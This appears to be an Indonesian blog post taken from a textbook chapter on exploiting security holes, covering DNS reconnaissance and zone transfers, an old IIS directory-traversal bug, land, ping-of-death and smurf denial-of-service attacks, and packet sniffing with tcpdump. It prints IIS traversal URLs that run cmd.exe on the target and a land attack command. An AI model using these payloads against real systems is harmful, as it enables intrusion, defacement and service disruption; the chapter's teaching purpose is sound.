Dalam bagian ini akan dibahas beberapa contoh eksploitasi lubang keamanan. Contoh-contoh yang dibahas ada yan bersifat umum dan ada yang bersifat khusus untuk satu jenis operating system tertentu, atau untuk program tertentu dengan versi tertentu. Biasanya lubang keamanan ini sudahditutup pada versi baru dari paket program tersebut sehingga mungkin tidak dapat anda coba. Pembahasan dalam bab ini tentunya tidak komplit dikarenakan batasan jumlah halaman. Jika diinginkan pembahasan yang lebih komplit ada buku Hacking Exposed yang dapat digunakan untuk keperluan tersebut. Menurut Hacking Exposedâ, metodologi dari penyusup biasanya mengikuti langkah sebagai berikut:
¢ Target acquisition and information gaterhing
¢ Initial access
¢ Privilege escalation
¢ Covering tracks
Namun, bagian ini belum disusun dengan urutan seperti di atas. Sebelum melakukan penyerangan, seorang cracker biasanya mencari informasi tentang targetnya. Banyak informasi tentang sebuah sistem yang dapat diperoleh dari Internet. Sebagai contoh, informasi dari DNS (Domain Name System) kadang-kadang terlalu berlebihan sehingga memberikan terlalu banyak informasi kepada orang yang bermaksud jahat. DNS dapat memberikan informasi tentang nama-nama server berserta nomor IP yang dimiliki oleh sebuah perusahaan. Seseorang yang tidak tahu apa-apa, dengan mengetahuidomain dari sebuah perusahaan dapat mengetahui informasi yang lebih banyak tentang server-server dari perusahaan tersebut. Paling tidak, informasi tentang name server merupakan informasi awal yang dapat berguna.Informasi tentang DNS tersedia secara terbuka di Internet dan dapat dicari dengan menggunakan berbagai tools seperti:
¢ whois, host, nslookup, dig (tools di sistem UNIX)
¢ Sam Spade (tools di sistem Windows)
¢ web dari Network Solutions inc.
yang menyediakan informasi tentang data-data gTLD (.com, .net, .org, dan seterusnya) melalui webnya di http://www.networksolutions.com
Host, Whois, dig
Berikut ini adalah contoh beberapa session untuk mencari informasi tentang domain dan server-server yang digunakan oleh domain tersebut. Untuk mencari name server, dapat digunakan program host dengan option -t ns. Sementara itu untuk mencari nomor IP dari sebuah host, langsung gunakan program host tanpa option.
unix$ host -t ns yahoo.com
yahoo.com NS NS3.EUROPE.yahoo.com
yahoo.com NS NS1.yahoo.com
yahoo.com NS NS5.DCX.yahoo.com
unix$ host ns1.yahoo.com
ns1.yahoo.com A 204.71.200.33
Cara yang sama dapat dilakukan dengan menggunakan program whois. Contoh di bawah ini adalah untuk mencari informasi tentang domain yahoo.com dengan menggunakan server whois yang berada di Network Solutions Inc. unix$ whois -h whois.networksolutions.com yahoo.com Registrant:
Yahoo(YAHOO-DOM) 3420 Central Expressway Santa Clara, CA 95051 US
Domain Name: YAHOO.COM Administrative Contact,
Technical Contact: Balling, Derek (DJB470)
tech-contact@YAHOO-INC.COM Yahoo!
701 First Ave Sunnyvale, CA 94089 US +1-408-349-5062
Billing Contact: Billing, Domain (DB28833)
domain billing @YAHOO-INC.COM Yahoo!
Inc.225 Broadway, 13th Floor San Diego, CA 92101 1-408-731-3300
Record last updated on 28-Jun-2001. Record expires on 20-Jan-2010.
Record created on 18-Jan-1995.
Database last updated on 20-Jul-2001 00:12:00 EDT.
Domain servers in listed order:
NS1.YAHOO.COM 204.71.200.33
NS5.DCX.YAHOO.COM 216.32.74.10
NS3.EUROPE.YAHOO.COM 217.12.4.71
Informasi yang diperoleh dari contoh di atas sekedar mencari informasi mengenai server DNS. Kita juga dapat mencoba mencari informasi lebih jauh dengan cara mengambil (dump) semua data-data DNS yang dikenal dengan istilah zone transfer. Program dig dapat kita gunakan untuk keperluan tersebut.
unix$ dig yahoo.com.
axfr @ns1.yahoo.com.
Contoh di atas adalah perintah untuk melakukan zone transfer (axfr) terhadap domain yahoo.com dari server ns1.yahoo.com. Perhatikan tanda titik (.) di belakang nama domain. Perlu diingat bahwa kegiatan zone transfer di beberapa tempat dapat dikategorikan sebagai tidak ramah (unfriendly)dan bahkan dianggak sebagai usaha untuk melakukan hacking terhadap sistem tersebut.Untuk sistem yang diamankan secara baik, perintah zone transfer di atas akan gagal untuk dilakukan. Akan tetapi untuk sistem yang tidak baik, perintah di atas akan memberikan informasi tentang nama server-server yang berada dalam domain tersebut. Termasuk server di Intranet! (seperti billing, terminal server, RAS, dan sebagainya). Informasi yang sensitif seperti ini seharusnya tidak dapat di-query oleh orang atau server yang tidak berhak. Query zone transfer ini juga dapat dijadikan DoS attack karena dengan query yang sedikit (berdasarkan jumlah dan ukuran paket yang dikirimkan) dia menghasilkan jawaban yang cukup panjang. Dengan kata lain terjadi amplifikasi dari penggunaan bandwidth jaringan. Periksa sistem anda apakah DNS anda sudah dikelola dengan baik atau masih terbuka untuk zone transfer.
Sam Spade, utility untuk MS Windows
Untuk anda yang menggunakan sistem yang berbasis Microsoft Windows, anda dapat menggunakan program Sam Spade. Program ini dapat diperoleh secara gratis dari web
http://www.samspade.org.
untuk mencari informasi tentang domain INDOCISC.com. Informasi DNS memang tersedia untuk umum. Akan tetapi seharusnya informasi yang komplit hanya boleh dilihat oleh server tertentu. Istilahnya, zone transfer hanya diperbolehkan untuk server tertentu saja.
Eksploitasi Web Server
Web server menyediakan jasa untuk publik. Dengan demikian dia harus berada di depan publik. Sayangnya banyak lubang keamanan dalam implementasi beberapa web server. Di bagian ini akan dicontohkan beberapa eksploitasi tersebut.
Defacing Microsoft IIS
Salah satu lubang keamanan dari web yang berbasis IIS adalah adanya program atau script yang kurang baik implementasinya. Sebagai contoh, bugtraq id 1806 menujukkan cara untuk melihat isi direktori dari sebuah web server yang berbasis IIS.
Informasi lengkapnya ada di :
http://www.securityfocus.com/bid/1806.
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir
Perintah di atas menjalankan perintah dir untuk melihat direktori
di server IIS tersebut. Selain melihat direktori dengan perintah dir, anda dapat jugamenjalankan perintah lain di server tersebut, seperti misalnya meng-copy file. Salah satu exploit adalah dengan mengambil file dari sebuah tempat dengan FTP ke server IIS tersebut. Prinsipnya adalah menggunakan perintah yang command line sebagai perintah dir tersebut, seperti dnegan printah ftp dan menggantikan spasi dengan tanda tambah (+). Setelah itu, file dapat ditempatkan dimana saja termasuk di direktori yang digunakan untuk memberikan layanan web. Atau dengan kata lain web tersebut dapat diubah (deface).
Denial of Service Attack
Denial of Service (DoS) attack merupakan sebuah usaha (dalam bentuk serangan) untuk melumpuhkan sistem yang dijadikan target sehingga sistem tersebut tidak dapat menyediakan servis-servisnya (denial of service) atau tingkat servis menurun dengan drastis. Cara untuk melumpuhkan dapat bermacam-macam dan akibatnyapun dapat beragam. Sistem yang diserang dapat menjadi bengong (hang, crash), tidak berfungsi, atau turun kinerjanya (beban CPU tinggi). Serangan denial of service berbeda dengan kejahatan pencurian data atau kejahatan memonitor informasi yang lalu lalang. Dalam serangan DoS tidak ada yang dicuri. Akan tetapi, serangan DoS dapat mengakibatkan kerugian finansial. Sebagai contoh apabila sistem yang diserang merupakan server yang menangani transaksi commerce, maka apabila server tersebut tidak berfungsi, transaksi tidak dapat dilangsungkan. Bayangkan apabila sebuah bank diserang oleh bank saingan dengan melumpuhkan outlet ATM (Anjungan Tunai Mandiri, Automatic Teller Machine) yang dimiliki oleh bank tersebut. Atau sebuah credit card merchant server yang diserang sehingga tidak dapat menerima pembayaran melalui credit card. Selain itu, serangan DoS sering digunakan sebagai bagian dari serangan lainnya. Misalnya, dalam serangan IPspoofing (seolah serangan datang dari tempat lain dengan nomor IP milik orang lain), seringkali DoS digunakan untuk membungkam server yang akan dispoof.
Land attack
Land attack merupakan serangan kepada sistem dengan menggunakan program yang bernama land. Apabila serangan diarahkan kepada sistem Windows 95, maka sistem yang tidak diproteksi akan menjadi hang (dan bisa keluar layar biru). Demikian pula apabila serangan diarahkan ke beberapa jenis UNIX versi lama, maka sistem akan hang.Jika serangan diarahkan ke sistem Windows NT, maka sistem akan sibuk dengan penggunaan CPU mencapai 100% untuk beberapa saat sehingga sistem terlihat seperti macet. Dapat dibayangkan apabila hal ini dilakukan secara berulang-ulang. Serangan land ini membutuhkan nomor IP dan nomor port dari server yang dituju. Untuk sistem Windows, biasanya port 139 yang digunakan untuk menyerang. Program land menyerang server yang dituju dengan mengirimkan packet palsu yang seolah-olah berasal dari server yang dituju. Dengan kata lain, source dan destination dari packet dibuat seakan-akan berasal dari server yang dituju. Akibatnya server yang diserang menjadi bingung.
unix# ./land 192.168.1.1 139
land.c by m3lt, FLC
192.168.1.1:139 landed
Ping-o-death
Ping-o-death sebetulnya adalah eksploitasi program ping dengan memberikan packet yang ukurannya besar ke sistem yang dituju. Beberapa sistem UNIX ternyata menjadi hang ketika diserang dengan cara ini. Program ping umum terdapat di berbagai operating system, meskipun umumnya program ping tersebut mengirimkan packet dengan ukuran kecil (tertentu) dan tidak memiliki fasilitas untuk mengubah besarnya packet. Salah satu implementasi program ping yang dapat digunakan untuk mengubah ukuran packet adalah program ping yang ada di sistem Windows 95.
Ping broadcast (smurf)
Salah satu mekanisme serangan yang baru-baru ini mulai marak digunakan adalah menggunakan ping ke alamat broadcast, ini yang sering disebut dengan smurf. Seluruh komputer (device) yang berada di alamat broadcast tersebut akan menjawab. Apakah ini merupakan standar? Jika sebuah sistem memiliki banyak komputer (device) dan ping broadcast ini dilakukan terus menerus, jaringan dapat dipenuhi oleh respon-respon dari device-device tersebut. Akibatnya jaringan menjadi lambat.
$ ping 192.168.1.255
PING 192.168.1.255 (192.168.1.255): 56 data bytes
64 bytes from 192.168.1.4: icmp_seq=0 ttl=64 time=2.6 ms
64 bytes from 192.168.1.2: icmp_seq=0 ttl=255 time=24.0 ms (DUP!)
64 bytes from 192.168.1.4: icmp_seq=1 ttl=64 time=2.5 ms
64 bytes from 192.168.1.2: icmp_seq=1 ttl=255 time=4.7 ms (DUP!)
64 bytes from 192.168.1.4: icmp_seq=2 ttl=64 time=2.5 ms
64 bytes from 192.168.1.2: icmp_seq=2 ttl=255 time=4.7 ms (DUP!)
64 bytes from 192.168.1.4: icmp_seq=3 ttl=64 time=2.5 ms
64 bytes from 192.168.1.2: icmp_seq=3 ttl=255 time=4.7 ms (DUP!)
--- 192.168.1.255 ping statistics ---
4 packets transmitted, 4 packets received, +4 duplicates, 0% packet loss
round-trip min/avg/max = 2.5/6.0/24.0 ms
Smurf attack biasanya dilakukan dengan menggunakan IP spoofing, yaitu mengubah nomor IP dari datangnya request, tidak seperti contoh di atas. Dengan menggunakan IP spoofing, respon dari ping tadi dialamatkan ke komputer yang IPnya dispoof. Akibatnya komputer tersebut akan menerima banyak paket. Hal ini dapat mengakibatkan pemborosan penggunaan (bandwidth) jaringan yang menghubungkan komputer tersebut. Dapat dibayangkan apabila komputer yang dispoof tersebut memiliki hubungan yang berkecepatan rendah dan ping diarahkan ke sistem yang memiliki banyak host. Hal ini dapat mengakibatkan DoS attack.
Contoh-contoh DoS attack lainnya
¢ Program ping.exeâ di sistem Windows (dicobakan pada Windows NT 4 Service Pack 4) dapat digunakan untuk menghentikan beberapa aplikasi sistem Windows jika diberikan nama host yang panjangnya lebih dari 112 karakter. Aplikasi dialup akan mati. Eksploitasi ini membutuhkan user di local server.
http://www.securitytracker.com/alerts/2001/Apr/1001255.html
Sniffer
Program sniffer adalah program yang dapat digunakan untuk menyadap data dan informasimelalui jaringan komputer. Di tangan seorang admin, program sniffer sangat bermanfaat untuk mencari (debug) kesalahan di jaringan atau untuk memantau adanya serangan. Di tangan cracker, program sniffer dapat digunakan untuk menyadap password (jika dikirimkan dalam bentuk clear text).
Sniffit
Program sniffit dijalankan dengan userid root (atau program dapat di-setupid root sehingga dapat dijalankan oleh siapa saja) dan dapat menyadap data. Untuk contoh penggunaan sniffit, silahkan baca dokumentasi yang menyertainya.
tcpdump
Program tcpdump merupakan program gratis yang umum digunakan untuk menangkap paket di sistem UNIX. Implementasi untuk sistem Window juga tersedia dengan nama windump. Setelah ditangkap, data-data (paket) ini dapat diolah dengan program lainnya, seperti dengan menggunakan program tcpshow, tcptrace, dan sejenisnya. Program tcpdump sangat powerful dan digunakan sebagai basis dari pembahasan di beberapa buku, seperti buku seri TCP/IP Illustrated dari Richard Stevens yang sangat terkenal atau buku Network Intrusion Detection . Berikut ini adalah contoh sebuah sesi tcpdump.
unix# tcpdump 06:46:31.318893 192.168.1.7.1043 > 192.168.1.1.80:
S 616175183:616175183(0) win 5840 <mss 1460,nop,nop,sackOK>
(DF) 06:46:31.318893 192.168.1.1.80 > 192.168.1.7.1043:
S 1312015909:1312015909(0) ack 616175184 win 32736 <mss 1460>
06:46:31.318893 192.168.1.7.1043 > 192.168.1.1.80:
ack 1 win 5840 (DF)
06:46:31.318893 192.168.1.7.1043 > 192.168.1.1.80:
P 1:296(295) ack 1 win 5840
(DF) 06:46:31.338893 192.168.1.1.80 >
192.168.1.7.1043: .ack 296 win 32441
(DF) 06:46:31.738893 192.168.1.1.80 >
192.168.1.7.1043:
P 1:200(199) ack 296 win 32736
(DF) 06:46:31.868893 192.168.1.7.1043 >
192.168.1.1.80: ack 200 win 5641
(DF) 06:46:31.898893 192.168.1.1.1492 >
192.168.1.7.113: S 2035772989:2035772989(0)
win 512 <mss 1460>
06:46:31.898893 192.168.1.7.113 >
192.168.1.1.1492: R 0:0(0)ack
2035772990 win 0 06:46:39.028893 192.168.1.7 >
192.168.1.1: icmp: echo request
06:46:39.028893 192.168.1.1 >
192.168.1.7: icmp: echo reply
06:46:40.028893 192.168.1.7 >
192.168.1.1: icmp: echo request
06:46:40.028893 192.168.1.1 >
192.168.1.7: icmp: echo reply
06:46:41.028893 192.168.1.7 >
192.168.1.1: icmp: echo request
06:46:41.028893 192.168.1.1
> 192.168.1.7: icmp: echo reply
06:46:42.038893 192.168.1.7 >
192.168.1.1: icmp: echo request
06:46:42.038893 192.168.1.1 >
192.168.1.7: icmp: echo reply
06:46:44.048893 192.168.1.7.1043 > 192.168.1.1.80:
P 296:591(295) ack 200 win 5641
(DF) 06:46:44.048893 192.168.1.1.80 >
192.168.1.7.1043: P 200:398(198) ack 591 win 32736
(DF) 06:46:44.168893 192.168.1.7.1043 >
192.168.1.1.80: . ack 398 win 5443 (DF)
Dalam contoh di atas, pada baris-baris pertama, ditunjukkan sebuah sesi web browsing(lihat port 80 yang digunakan sebagai target port) dari sebuah komputer dengan nomor IP 192.168.1.7 ke server web dengan nomor IP 192.168.1.1. Di sesi itu nampak three way handshaking (paket SYN, dibalas dengan SYN/ACK, dan dibalas dengan ACK). Untuk mengetahui lebih lengkap tentang paket-paket ini, silahkan baca buku TCP/IP Illustrated dari Richard Stevens atau buku Network Intrusion Detection (Stephen Northcutt & Judy Novak). Selain sesi web, nampak juga sesi ping dimana ada paket ICMP echo request yang dibalas dengan paket ICMP echo reply. Ping ini juga dikirimkan dari IP 192.168.1.7 ke komputer dengan IP 192.168.1.1.
Tidak ada komentar:
Posting Komentar